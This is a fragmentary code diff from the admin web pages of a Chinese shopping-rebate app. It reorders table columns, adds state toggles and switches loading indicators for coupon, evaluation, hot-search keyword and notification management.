| | | submitGoodsCoupon: function() {
|
| | | doui.showLoading("正在处理");
|
| | |
| | | tags: vmcp.tags,
|
| | | tagUrl: vmcp.tagUrl,
|
| | | tagDesc: vmcp.tagDesc,
|
| | | needSpin: $('input[name="needSpin1"]:checked').val()//获取选中的值,
|
| | | };
|
| | | mydata.kind = 1;
|
| | |
|
| | |
| | | tags: "",
|
| | | tagUrl: "",
|
| | | tagDesc: "",
|
| | |
|
| | | needSpin : "",
|
| | | submitGoodsCoupon2: function() {
|
| | | doui.showLoading("正在处理");
|
| | | var mydata = {
|
| | |
| | | tags: vmcp2.tags,
|
| | | tagUrl: vmcp2.tagUrl,
|
| | | tagDesc: vmcp2.tagDesc,
|
| | | needSpin: $('input[name="needSpin2"]:checked').val()//获取选中的值,
|
| | | };
|
| | | mydata.kind = 2;
|
| | |
|
| | |
| | | tags: "",
|
| | | tagUrl: "",
|
| | | tagDesc: "",
|
| | |
|
| | | needSpin: "",
|
| | | submitCoupon3: function() {
|
| | | doui.showLoading("正在处理");
|
| | | var mydata = {
|
| | |
| | | tags: vmcp3.tags,
|
| | | tagUrl: vmcp3.tagUrl,
|
| | | tagDesc: vmcp3.tagDesc,
|
| | | needSpin: $('input[name="needSpin3"]:checked').val()//获取选中的值,
|
| | | };
|
| | |
|
| | | mydata.kind = 3;
|
| | |
| | | vmcp.tags = res.data.tags;
|
| | | vmcp.tagUrl = res.data.tagUrl;
|
| | | vmcp.tagDesc = res.data.tagDesc;
|
| | | vmcp.needSpin = res.data.needSpin;
|
| | | }
|
| | | }
|
| | | });
|
| | |
| | | vmcp2.tags = res.data.tags;
|
| | | vmcp2.tagUrl = res.data.tagUrl;
|
| | | vmcp2.tagDesc = res.data.tagDesc;
|
| | | vmcp2.needSpin = res.data.needSpin;
|
| | | }
|
| | | }
|
| | | });
|
| | |
| | | vmcp3.tags = res.data.tags;
|
| | | vmcp3.tagUrl = res.data.tagUrl;
|
| | | vmcp3.tagDesc = res.data.tagDesc;
|
| | | vmcp3.needSpin = res.data.needSpin;
|
| | | }
|
| | | }
|
| | | });
|
| | |
| | | type: 'datetime'
|
| | | });
|
| | | });
|
| | | |
| | | layui.use(['form'], function() {
|
| | | var form = layui.form;
|
| | | // form.on('radio(needSpin)', function (data){
|
| | | // console.log(data.value);
|
| | | // });
|
| | | form.render();
|
| | | });
|
| | | |
| | | },1000);
|
| | |
|
| | | |
| | |
|
| | | layui.use(['form', 'layedit', 'laydate'], function() {
|
| | | var form = layui.form;
|
| | |
| | | } else {
|
| | | moreid = res.data;
|
| | | doui.showToast("保存成功");
|
| | | // refreshPage(moreid, "multiple");
|
| | | refreshPage(moreid, "multiple");
|
| | | }
|
| | | }
|
| | | });
|
| | |
| | | } else {
|
| | | hdid = res.data;
|
| | | doui.showToast("保存成功");
|
| | | // refreshPage(hdid, "activity");
|
| | | refreshPage(hdid, "activity");
|
| | | }
|
| | | }
|
| | | });
|
| | |
| | | });
|
| | | }
|
| | |
|
| | | function clearContent(id) {
|
| | | $("#" + id).val("");
|
| | | }
|
| | | </script> |
| | |
| | | <meta charset="utf-8"> |
| | | <meta name="viewport" content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no" /> |
| | | <title>动态发圈</title> |
| | | <link rel="stylesheet" type="text/css" href="../../../css/doui.min.css"/> |
| | | <link rel="stylesheet" type="text/css" href="../../../css/doui.min.css"/>
|
| | | <link rel="stylesheet" type="text/css" href="../../../layui/css/layui.css" />
|
| | | |
| | | <script src="../../../js/doui.min.js" type="text/javascript" charset="utf-8"></script> |
| | | <script src="../../../js/requestHost.js" type="text/javascript" charset="utf-8"></script> |
| | | <script src="../../../js/requestHost.js" type="text/javascript" charset="utf-8"></script>
|
| | | <script src="../../../layui/layui.all.js" type="text/javascript" charset="utf-8"></script>
|
| | | |
| | | <script type="text/javascript"> |
| | | doui.importLoad({ |
| | | importArray: [ |
| | |
| | | ], |
| | | }); |
| | | </script>
|
| | | |
| | | <!-- <style>
|
| | | textarea {
|
| | | height: 0.1rem;
|
| | | }
|
| | | </style> -->
|
| | | |
| | | </head> |
| | | <body class="fontPC"> |
| | | <div class="winSizeBox"> |
| | |
| | | // 搜索触发 |
| | | touchSearch: function (optC) |
| | | { |
| | | doui.showLoading({ content: "加载列表" }); |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/evaluate/query", |
| | |
| | | }, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { doui.showToast({ content: res.msg }); } |
| | | else |
| | | { |
| | |
| | | // 当前行 |
| | | var thatTr = { |
| | | check: false, |
| | | td: [ |
| | | { title: "状态", key: mo[i].state, value: mo[i].state },
|
| | | { title: "发布者", key: mo[i].user.id, value: mo[i].user.nickName },
|
| | | td: [
|
| | | { title: "标题", key: mo[i].title, value: mo[i].title },
|
| | | { title: "类型", key: mo[i].type, value: mo[i].type },
|
| | | { title: "分享数(虚拟)", key: mo[i].shareNum, value: mo[i].shareNum },
|
| | | { title: "分享数(真实)", key: mo[i].shareNumReal, value: mo[i].shareNumReal },
|
| | | { title: "类型", key: mo[i].type, value: mo[i].type }, |
| | | { title: "状态", key: mo[i].state, value: mo[i].state , dataType: 'btnSwitch', click: "switchState('" + mo[i].id + "')"},
|
| | | { title: "开始时间", key: mo[i].startTimeChar, value: mo[i].startTimeChar },
|
| | | { title: "结束时间", key: mo[i].endTimeChar, value: mo[i].endTimeChar },
|
| | | { title: "发布者", key: mo[i].user.id, value: mo[i].user.nickName },
|
| | | { title: "分享数(虚拟)", key: mo[i].shareNum, value: mo[i].shareNum },
|
| | | { title: "分享数(真实)", key: mo[i].shareNumReal, value: mo[i].shareNumReal },
|
| | | { title: "权重", key: mo[i].weight, value: mo[i].weight },
|
| | | { title: "ID", key: mo[i].id, value: mo[i].id },
|
| | | ] |
| | | }; |
| | | // 状态分析 |
| | | if (thatTr.td[0].key == 1) { |
| | | thatTr.td[0].value = "已启用"; thatTr.td[0]["class"] = "font-green"; |
| | | } else if (thatTr.td[0].key == 0) { |
| | | thatTr.td[0].value = "已停用"; thatTr.td[0]["class"] = "font-red"; |
| | | }
|
| | | |
| | | // 状态分析
|
| | | if (thatTr.td[3].key == "single") { |
| | | thatTr.td[3].value = "单品";
|
| | | } else if (thatTr.td[3].key == "multiple") {
|
| | | thatTr.td[3].value = "多品"; |
| | | } else if (thatTr.td[3].key == "activity") {
|
| | | thatTr.td[3].value = "活动"; |
| | | if (thatTr.td[1].key == "single") { |
| | | thatTr.td[1].value = "单品";
|
| | | } else if (thatTr.td[1].key == "multiple") {
|
| | | thatTr.td[1].value = "多品"; |
| | | } else if (thatTr.td[1].key == "activity") {
|
| | | thatTr.td[1].value = "活动"; |
| | | }
|
| | | |
| | | // 将当前行放入tr组 |
| | | mo_tr.push(thatTr); |
| | | } |
| | |
| | | adminDom.table.opt({ pageSize: 20, }); |
| | | // 表格头排 |
| | | adminDom.table.thead({ |
| | | th: [ |
| | | { title: "状态", width: "0.4rem", orderUp: "", orderDown: "", |
| | | edit: { |
| | | type: "radio", |
| | | list: [ |
| | | { key: 0, value: "禁用" }, |
| | | { key: 1, value: "启用"} , |
| | | ], |
| | | }, |
| | | },
|
| | | { title: "发布者", width: "0.4rem", orderUp: "", orderDown: "",
|
| | | edit: {
|
| | | type: "select",
|
| | | list: [],
|
| | | },
|
| | | }, |
| | | { title: "标题", width: "1.2rem", orderUp: "", orderDown: "", |
| | | edit: { type: "text", placeholder: "-- 必填 --" }, |
| | | },
|
| | | |
| | | { title: "类型", width: "0.4rem", orderUp: "", orderDown: "",
|
| | | edit: { type: "text", placeholder: "-- 必填 --" },
|
| | | },
|
| | | |
| | | { title: "分享数(虚拟)", width: "0.5rem", orderUp: "", orderDown: "",
|
| | | edit: { type: "text_short", placeholder: "-- 必填 --" },
|
| | | }, |
| | | { title: "分享数(真实)", width: "0.5rem", orderUp: "", orderDown: "",}, |
| | | { title: "起始时间", width: "0.8rem", orderUp: "", orderDown: "",
|
| | | edit: {
|
| | | type: "datetime-local"
|
| | | },
|
| | | },
|
| | | {title: "结束时间", width: "0.8rem",orderUp: "",orderDown: "",
|
| | | edit: {
|
| | | type: "datetime-local"
|
| | | },
|
| | | },
|
| | | {title: "权重", width: "0.5rem", orderUp: "", orderDown: "",
|
| | | edit: { type: "text_short"},
|
| | | },
|
| | | { title: "ID", width: "0.8rem", orderUp: "", orderDown: "",}, |
| | | th: [
|
| | | { title: "标题", width: "1.2rem", orderUp: "", orderDown: ""},
|
| | | { title: "类型", width: "0.4rem", orderUp: "", orderDown: ""}, |
| | | { title: "状态", width: "0.4rem", orderUp: "", orderDown: ""},
|
| | | { title: "起始时间", width: "0.8rem", orderUp: "", orderDown: ""},
|
| | | {title: "结束时间", width: "0.8rem",orderUp: "",orderDown: ""},
|
| | | { title: "发布者", width: "0.4rem", orderUp: "", orderDown: ""}, |
| | | { title: "分享数(虚拟)", width: "0.5rem", orderUp: "", orderDown: ""}, |
| | | { title: "分享数(真实)", width: "0.5rem", orderUp: "", orderDown: ""}, |
| | | {title: "权重", width: "0.5rem", orderUp: "", orderDown: ""},
|
| | | { title: "ID", width: "0.8rem", orderUp: "", orderDown: ""}, |
| | | ] |
| | | });
|
| | |
|
| | |
| | | url: "evaluate_edit.html",
|
| | | data: {
|
| | | id: item[9].key,
|
| | | editType: item[3].key,
|
| | | editType: item[1].key,
|
| | | },
|
| | | });
|
| | | } |
| | |
| | | var zu_id = new Array(); |
| | | for (var i = 0, mo = back.list; i < mo.length; i++) { zu_id.push(mo[i][9].key); } |
| | | // 发起请求 |
| | | doui.showLoading("正在删除"); |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/evaluate/delete", |
| | | data: { idArray: zu_id }, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { doui.showToast(res.msg); } |
| | | else { doui.showToast("删除成功"); vm_table.search(); } |
| | | } |
| | | }); |
| | | } |
| | | |
| | | |
| | | |
| | | } |
| | | }); |
| | | |
| | | // ----------------------------------------------------- 初始操作 |
| | | // 模拟搜索点击 |
| | | vm_table.search(); |
| | | } |
| | | }); |
| | | });
|
| | | |
| | | // 切换状态
|
| | | function switchState(id) {
|
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | });
|
| | | doui.request({
|
| | | type: "jsonp",
|
| | | url: gethttp() + "/admin/new/api/v1/evaluate/switchState",
|
| | | data: {id: id},
|
| | | success: function (res) |
| | | {
|
| | | layer.close(loading);
|
| | | if (res.code != 0) { doui.showToast(res.msg); }
|
| | | else { vm_table.search(); }
|
| | | }
|
| | | });
|
| | | } |
| | | |
| | | </script> |
| | |
| | | <meta charset="utf-8"> |
| | | <meta name="viewport" content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no" /> |
| | | <title>素材列表</title> |
| | | <link rel="stylesheet" type="text/css" href="../../../css/doui.min.css"/> |
| | | <link rel="stylesheet" type="text/css" href="../../../css/doui.min.css"/>
|
| | | <link rel="stylesheet" type="text/css" href="../../../layui/css/layui.css" /> |
| | | <script src="../../../js/doui.min.js" type="text/javascript" charset="utf-8"></script> |
| | | <script src="../../../js/requestHost.js" type="text/javascript" charset="utf-8"></script> |
| | | <script src="../../../js/requestHost.js" type="text/javascript" charset="utf-8"></script>
|
| | | <script src="../../../js/versionControl.js" type="text/javascript" charset="utf-8"></script>
|
| | | <script src="../../../layui/layui.all.js" type="text/javascript" charset="utf-8"></script> |
| | | <script type="text/javascript"> |
| | | doui.importLoad({ |
| | | importArray: [ |
| | |
| | | ], |
| | | }); |
| | | </script> |
| | | |
| | | <!-- <style> |
| | | textarea { |
| | | height: 0.1rem; |
| | | } |
| | | </style> --> |
| | | |
| | | </head> |
| | | <body class="fontPC"> |
| | | <div class="winSizeBox"> |
| | |
| | | // 当前行 |
| | | var thatTr = { |
| | | check: false, |
| | | td: [ |
| | | { title: "状态", key: mo[i].state, value: mo[i].state }, |
| | | { title: "发布者", key: mo[i].user.id, value: mo[i].user.nickName }, |
| | | td: [
|
| | | { title: "标题", key: mo[i].title, value: mo[i].title }, |
| | | { title: "状态", key: mo[i].state, value: mo[i].state, dataType: 'btnSwitch', click: "switchState('" + mo[i].id + "')" },
|
| | | { title: "开始时间", key: mo[i].startTimeChar, value: mo[i].startTimeChar },
|
| | | { title: "结束时间", key: mo[i].endTimeChar, value: mo[i].endTimeChar }, |
| | | { title: "发布者", key: mo[i].user.id, value: mo[i].user.nickName }, |
| | | { title: "分享数(虚拟)", key: mo[i].shareNum, value: mo[i].shareNum }, |
| | | { title: "分享数(真实)", key: mo[i].shareNumReal, value: mo[i].shareNumReal }, |
| | | { title: "开始时间", key: mo[i].startTimeChar, value: mo[i].startTimeChar }, |
| | | { title: "结束时间", key: mo[i].endTimeChar, value: mo[i].endTimeChar }, |
| | | { title: "权重", key: mo[i].weight, value: mo[i].weight }, |
| | | { title: "ID", key: mo[i].id, value: mo[i].id }, |
| | | ] |
| | | }; |
| | | // 状态分析 |
| | | if (thatTr.td[0].key == 1) { |
| | | thatTr.td[0].value = "已启用"; thatTr.td[0]["class"] = "font-green"; |
| | | } else if (thatTr.td[0].key == 0) { |
| | | thatTr.td[0].value = "已停用"; thatTr.td[0]["class"] = "font-red"; |
| | | } |
| | | // 将当前行放入tr组 |
| | | mo_tr.push(thatTr); |
| | | } |
| | |
| | | // 表格头排 |
| | | adminDom.table.thead({ |
| | | th: [ |
| | | { title: "状态", width: "0.4rem", orderUp: "", orderDown: "", |
| | | edit: { |
| | | type: "radio", |
| | | list: [ |
| | | { key: 0, value: "禁用" }, |
| | | { key: 1, value: "启用"} , |
| | | ], |
| | | }, |
| | | }, |
| | | { title: "发布者", width: "0.4rem", orderUp: "", orderDown: "", |
| | | edit: { |
| | | type: "select", |
| | | list: [], |
| | | }, |
| | | }, |
| | | { title: "标题", width: "0.8rem", orderUp: "", orderDown: "", |
| | | edit: { type: "text", placeholder: "-- 必填 --" }, |
| | | }, |
| | | |
| | | { title: "分享数(虚拟)", width: "0.5rem", orderUp: "", orderDown: "", |
| | | edit: { type: "text_short", placeholder: "-- 必填 --" }, |
| | | }, |
| | | { title: "标题", width: "0.8rem", orderUp: "", orderDown: "",},
|
| | | { title: "状态", width: "0.4rem", orderUp: "", orderDown: "",},
|
| | | { title: "起始时间", width: "0.8rem", orderUp: "", orderDown: "",},
|
| | | { title: "结束时间", width: "0.8rem",orderUp: "",orderDown: "",}, |
| | | { title: "发布者", width: "0.4rem", orderUp: "", orderDown: "",}, |
| | | { title: "分享数(虚拟)", width: "0.5rem", orderUp: "", orderDown: "",}, |
| | | { title: "分享数(真实)", width: "0.5rem", orderUp: "", orderDown: "",}, |
| | | { title: "起始时间", width: "0.8rem", orderUp: "", orderDown: "", |
| | | edit: { |
| | | type: "datetime-local" |
| | | }, |
| | | }, |
| | | {title: "结束时间", width: "0.8rem",orderUp: "",orderDown: "", |
| | | edit: { |
| | | type: "datetime-local" |
| | | }, |
| | | }, |
| | | {title: "权重", width: "0.5rem", orderUp: "", orderDown: "", |
| | | edit: { type: "text_short"}, |
| | | }, |
| | | { title: "权重", width: "0.5rem", orderUp: "", orderDown: "",}, |
| | | { title: "ID", width: "0.8rem", orderUp: "", orderDown: "",}, |
| | | ] |
| | | }); |
| | |
| | | // 模拟搜索点击 |
| | | vm_table.search(); |
| | | } |
| | | }); |
| | | });
|
| | | |
| | | // 切换状态
|
| | | function switchState(id) {
|
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | });
|
| | | doui.request({
|
| | | type: "jsonp",
|
| | | url: gethttp() + "/admin/new/api/v1/evaluate/switchState",
|
| | | data: {id: id},
|
| | | success: function (res) |
| | | {
|
| | | layer.close(loading);
|
| | | if (res.code != 0) { doui.showToast(res.msg); }
|
| | | else { vm_table.search(); }
|
| | | }
|
| | | });
|
| | | } |
| | | |
| | | </script> |
| | |
| | | // 当前行 |
| | | var thatTr = { |
| | | check: false, |
| | | td: [{ |
| | | title: "ID", |
| | | key: mo[i].id, |
| | | value: mo[i].id |
| | | }, |
| | | td: [ |
| | | { |
| | | title: "关键词", |
| | | key: mo[i].name, |
| | | value: mo[i].name |
| | | },
|
| | | {
|
| | | title: "渠道",
|
| | | key: mo[i].useType,
|
| | | value: mo[i].useType
|
| | | }, |
| | | { |
| | | title: "排序值", |
| | |
| | | value: mo[i].orderby, |
| | | "class": "font-gray" |
| | | }, |
| | | { |
| | | title: "渠道", |
| | | key: mo[i].useType, |
| | | value: mo[i].useType |
| | | } |
| | | {
|
| | | title: "ID",
|
| | | key: mo[i].id,
|
| | | value: mo[i].id,
|
| | | "class": "font-gray"
|
| | | }, |
| | | ], |
| | | }; |
| | | |
| | | |
| | | if (mo[i].useType == 1) |
| | | thatTr.td[3].value = "淘宝"; |
| | | thatTr.td[1].value = "淘宝"; |
| | | else if (mo[i].useType == 2) |
| | | thatTr.td[3].value = "京东"; |
| | | thatTr.td[1].value = "京东"; |
| | | else if (mo[i].useType == 3) |
| | | thatTr.td[3].value = "拼多多"; |
| | | thatTr.td[1].value = "拼多多"; |
| | | |
| | | // 将当前行放入tr组 |
| | | mo_tr.push(thatTr); |
| | |
| | | }); |
| | | // 表格头排 |
| | | adminDom.table.thead({ |
| | | th: [{ |
| | | title: "ID", |
| | | width: "", |
| | | orderUp: "", |
| | | orderDown: "" |
| | | }, |
| | | th: [ |
| | | { |
| | | title: "关键词", |
| | | width: "", |
| | | width: "0.8rem", |
| | | orderUp: "", |
| | | orderDown: "", |
| | | edit: { |
| | | type: "text", |
| | | placeholder: "必须填写" |
| | | } |
| | | },
|
| | | {
|
| | | title: "渠道",
|
| | | width: "0.8rem",
|
| | | orderUp: "",
|
| | | orderDown: "",
|
| | | edit: {
|
| | | type: "select",
|
| | | list: [{
|
| | | key: 1,
|
| | | value: '淘宝'
|
| | | }, {
|
| | | key: 2,
|
| | | value: '京东'
|
| | | }, {
|
| | | key: 3,
|
| | | value: '拼多多'
|
| | | }]
|
| | | },
|
| | | }, |
| | | { |
| | | title: "权重", |
| | | width: "", |
| | | width: "0.4rem", |
| | | orderUp: "", |
| | | orderDown: "", |
| | | edit: { |
| | |
| | | placeholder: "值越大越靠前" |
| | | }, |
| | | }, |
| | | { |
| | | title: "渠道", |
| | | width: "", |
| | | orderUp: "", |
| | | orderDown: "", |
| | | edit: { |
| | | type: "select", |
| | | list: [{ |
| | | key: 1, |
| | | value: '淘宝' |
| | | }, { |
| | | key: 2, |
| | | value: '京东' |
| | | }, { |
| | | key: 3, |
| | | value: '拼多多' |
| | | }] |
| | | }, |
| | | } |
| | | {
|
| | | title: "ID",
|
| | | width: "0.4rem",
|
| | | orderUp: "",
|
| | | orderDown: ""
|
| | | }, |
| | | ] |
| | | }); |
| | | |
| | | // 工具栏 |
| | | |
| | | |
| | | |
| | | // 工具栏 |
| | | adminDom.table.tools({ |
| | |
| | | touchSubmit: function(thereData) { |
| | | // 当前数据 |
| | | var item = thereData.list; |
| | | if (item[1].key == null ||item[1].key == '') { |
| | | doui.showToast("名称不能为空"); |
| | | if (item[0].key == null ||item[0].key == '') { |
| | | doui.showToast("关键词不能为空"); |
| | | return; |
| | | } |
| | | if (item[3].key == null || item[3].key == '') { |
| | | if (item[1].key == null || item[1].key == '') { |
| | | doui.showToast("渠道不能为空"); |
| | | return; |
| | | } |
| | |
| | | var mydata = null; |
| | | myurl = gethttp() + "/admin/new/api/v1/search/saveAdd"; |
| | | mydata = { |
| | | name: item[1].key, |
| | | name: item[0].key, |
| | | useType: item[1].key,
|
| | | orderby: item[2].key, |
| | | useType: item[3].key |
| | | }; |
| | | // 信息上传 |
| | | doui.showLoading("正在新建"); |
| | |
| | | var mydata = null; |
| | | myurl = gethttp() + "/admin/new/api/v1/search/updateHotSearch"; |
| | | mydata = { |
| | | id: item[0].key, |
| | | name: item[1].key, // 名称 |
| | | name: item[0].key, // 名称 |
| | | useType: item[1].key, |
| | | orderby: item[2].key, //性别 |
| | | useType: item[3].key |
| | | id: item[3].key, |
| | | }; |
| | | |
| | | // 信息上传 |
| | |
| | | // 获取选择的id组 |
| | | var zu_id = new Array(); |
| | | for (var i = 0, mo = back.list; i < mo.length; i++) { |
| | | zu_id.push(mo[i][0].key); |
| | | zu_id.push(mo[i][3].key); |
| | | } |
| | | // 请求地址 |
| | | var myurl = gethttp() + "/admin/new/api/v1/search/delete"; |
| | |
| | | placeholder: "如:911382(多个用户用英文逗号间隔,不填则全员推送)", |
| | | }, |
| | | }, |
| | | { title: "安卓推送版本", width: "", orderUp: "", orderDown: "", |
| | | { title: "安卓版本", width: "", orderUp: "", orderDown: "", |
| | | edit: { |
| | | type: "check", |
| | | list: [], |
| | | }, |
| | | }, |
| | | { title: "IOS推送版本", width: "", orderUp: "", orderDown: "", |
| | | { title: "IOS版本", width: "", orderUp: "", orderDown: "", |
| | | edit: { |
| | | type: "check", |
| | | list: [], |
| | |
| | | // 搜索触发 |
| | | touchSearch: function (optC) |
| | | { |
| | | doui.showLoading({ content: "加载列表" });
|
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | });
|
| | |
|
| | | var data = {
|
| | | pageIndex: optC.table.page, // 页码
|
| | |
| | | if (version!=null)
|
| | | data.version = version;
|
| | |
|
| | | |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/notification/query", |
| | | data: data, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { doui.showToast({ content: res.msg }); } |
| | | else |
| | | { |
| | |
| | | // 当前行 |
| | | var thatTr = { |
| | | check: false, |
| | | td: [ |
| | | { title: "启用状态", key: mo[i].show, value: mo[i].show }, |
| | | {title: "版本选择", key: mo[i].id, value: '版本查询', dataType: 'btn', click: "getVersions(" + mo[i].id + ")"},
|
| | | { title: "允许关闭", key: mo[i].canClose, value: mo[i].canClose }, |
| | | { title: "页面名称", key: mo[i].pageName, value: mo[i].pageName }, |
| | | { title: "页面标识", key: mo[i].type, value: mo[i].type, "class": "font-gray" }, |
| | | td: [
|
| | | { title: "页面名称", key: mo[i].pageName, value: mo[i].pageName },
|
| | | { title: "版本选择", key: mo[i].id, value: '版本查询', "class": "font-blue", dataType: 'btn', click: "getVersions(" + mo[i].id + ")"},
|
| | | { title: "启用状态", key: mo[i].show, value: mo[i].show, dataType: 'btnSwitch', click: "switchState(" + mo[i].id + ")"},
|
| | | { title: "开始时间", key: mo[i].beginTimeVO, value: mo[i].beginTimeVO },
|
| | | { title: "结束时间", key: mo[i].endTimeVO, value: mo[i].endTimeVO },
|
| | | { title: "允许关闭", key: mo[i].canClose, value: mo[i].canClose}, |
| | | { title: "公告内容", key: mo[i].content, value: mo[i].content }, |
| | | { title: "跳转链接", key: mo[i].contentUrl, value: mo[i].contentUrl, dataType: "link" },
|
| | | { title: "开始时间", key: mo[i].beginTimeVO, value: mo[i].beginTimeVO },
|
| | | { title: "结束时间", key: mo[i].endTimeVO, value: mo[i].endTimeVO }, |
| | | { title: "最近修改", key: mo[i].updateTime, value: mo[i].updateTime }, |
| | | { title: "跳转链接", key: mo[i].id, value: mo[i].id },
|
| | | ], |
| | | }; |
| | | // 状态分析 |
| | | if (thatTr.td[0].key == true) { thatTr.td[0].value = "启用中"; thatTr.td[0]["class"] = "font-green"; } |
| | | else if (thatTr.td[0].key == false) { thatTr.td[0].value = "已停用"; thatTr.td[0]["class"] = "font-red"; } |
| | | };
|
| | | |
| | | // 允许关闭 |
| | | if (thatTr.td[2].key == true) { thatTr.td[2].value = "允许关闭"; thatTr.td[2]["class"] = "font-green"; } |
| | | else if (thatTr.td[2].key == false) { thatTr.td[2].value = "不允许关闭"; thatTr.td[2]["class"] = "font-red"; } |
| | | if (thatTr.td[5].key == true) { thatTr.td[5].value = "允许关闭"; thatTr.td[5]["class"] = "font-green"; } |
| | | else if (thatTr.td[5].key == false) { thatTr.td[5].value = "不允许关闭"; thatTr.td[5]["class"] = "font-red"; } |
| | | // 将当前行放入tr组 |
| | | mo_tr.push(thatTr); |
| | | } |
| | |
| | | // 表格头排 |
| | | adminDom.table.thead({ |
| | | th: [
|
| | | { title: "启用状态", width: "0.4rem", orderUp: "", orderDown: "",
|
| | | { title: "页面名称", width: "0.6rem", orderUp: "", orderDown: "" },
|
| | | { title: "版本选择", width: "0.4rem", orderUp: "",orderDown: ""},
|
| | | { title: "状态", width: "0.4rem", orderUp: "", orderDown: "",
|
| | | edit: {
|
| | | type: "radio",
|
| | | list: [ |
| | | { key: false, value: "禁用"}, |
| | | { key: true, value: "启用"} ,
|
| | | ],
|
| | | type: "switch",
|
| | | },
|
| | | },
|
| | | { title: "版本选择",width: "0.5rem", orderUp: "",orderDown: ""},
|
| | | { title: "允许关闭", width: "0.5rem", orderUp: "", orderDown: "",
|
| | | { title: "开始时间", width: "0.6rem", orderUp: "", orderDown: "",
|
| | | edit: { type: "datetime-local" },
|
| | | },
|
| | | { title: "结束时间", width: "0.6rem", orderUp: "", orderDown: "",
|
| | | edit: { type: "datetime-local" },
|
| | | },
|
| | | { title: "是否允许关闭", width: "0.4rem", orderUp: "", orderDown: "",
|
| | | edit: {
|
| | | type: "radio",
|
| | | list: [ |
| | | { key: false, value: "不能关闭"}, |
| | | { key: true, value: "允许关闭"} ,
|
| | | ],
|
| | | type: "switch",
|
| | | },
|
| | | }, |
| | | { title: "页面名称", width: "0.8rem", orderUp: "", orderDown: "" }, |
| | | { title: "页面标识", width: "0.8rem", orderUp: "", orderDown: "" }, |
| | | { title: "公告内容", width: "", orderUp: "", orderDown: "", |
| | | },
|
| | | { title: "公告内容", width: "0.6rem", orderUp: "", orderDown: "", |
| | | edit: { |
| | | type: "text", |
| | | placeholder: "必须点击进入每个商品查看确保有返利,再结算下单。", |
| | | }, |
| | | }, |
| | | { title: "跳转链接", width: "", orderUp: "", orderDown: "", |
| | | { title: "跳转链接", width: "0.6rem", orderUp: "", orderDown: "", |
| | | edit: { |
| | | type: "text" , |
| | | placeholder: "http://...", |
| | | }, |
| | | },
|
| | | { title: "开始时间", width: "", orderUp: "", orderDown: "",
|
| | | edit: { type: "datetime-local" },
|
| | | },
|
| | | { title: "结束时间", width: "", orderUp: "", orderDown: "",
|
| | | edit: { type: "datetime-local" },
|
| | | }, |
| | | { title: "最近修改", width: "", orderUp: "", orderDown: "" } |
| | | { title: "ID", width: "0.4rem", orderUp: "", orderDown: "" },
|
| | | ] |
| | | }); |
| | | // 工具栏 |
| | |
| | | show: true, |
| | | list: [ |
| | | { "title": "修改", "name": "edit", "icon": "fi fi-edit-box" },
|
| | | { "title": "状态:启用/停用", "name": "show", "icon": "fi fi-off" }, |
| | | { "title": "允许关闭:是/否", "name": "canClose", "icon": "admin adminguanbi" } |
| | | ], |
| | | touch: function (back) |
| | | { |
| | |
| | | touchSubmit: function (editData) |
| | | { |
| | | var mydata = {
|
| | | type: editData.list[4].key,
|
| | | content: editData.list[5].key,
|
| | | beginTimeVO: editData.list[7].key,
|
| | | endTimeVO: editData.list[8].key,
|
| | | beginTimeVO: editData.list[3].key,
|
| | | endTimeVO: editData.list[4].key,
|
| | | content: editData.list[6].key,
|
| | | id: editData.list[8].key,
|
| | | };
|
| | | if(editData.list[0].key != null && editData.list[0].key != undefined){mydata.show = editData.list[0].key;}
|
| | | if(editData.list[2].key != null && editData.list[2].key != undefined){mydata.canClose = editData.list[2].key;}
|
| | | if(verifyString(editData.list[6].key)){mydata.contentUrl = editData.list[6].key;}
|
| | | if(editData.list[2].key != null && editData.list[2].key != undefined){mydata.show = editData.list[2].key;}
|
| | | if(editData.list[5].key != null && editData.list[5].key != undefined){mydata.canClose = editData.list[5].key;}
|
| | | if(verifyString(editData.list[7].key)){mydata.contentUrl = editData.list[7].key;}
|
| | |
|
| | |
|
| | | doui.showLoading({ content: "正在修改" }); |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/notification/saveModify", |
| | | data: mydata,
|
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { doui.showToast({ content: res.msg }); } |
| | | else |
| | | { |
| | |
| | | adminDom.editTan.opt({ title: "修改", }); |
| | | adminDom.editTan.thereData({ show: true, list: back.list[0] }); |
| | | } |
| | | |
| | | // 启用/停用 |
| | | else if (back.toolName == "show") |
| | | { |
| | | if (back.list.length > 1) { doui.showToast({ content: "一次只能操作一个" }); return false; } |
| | | var item = back.list[0]; // 获取第一个选择的行 |
| | | |
| | | doui.showLoading({ content: "正在修改" }); |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/notification/updateShowState", |
| | | data: { type: item[4].key, }, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | | if (res.code != 0) { doui.showToast({ content: res.msg }); } |
| | | else { vm_table.search(); } |
| | | } |
| | | }); |
| | | } |
| | | |
| | | // 允许关闭 |
| | | else if (back.toolName == "canClose") |
| | | { |
| | | if (back.list.length > 1) { doui.showToast({ content: "一次只能操作一个" }); return false; } |
| | | var item = back.list[0]; // 获取第一个选择的行 |
| | | |
| | | doui.showLoading({ content: "正在修改" }); |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/notification/updateCanCloseState", |
| | | data: { type: item[4].key, }, |
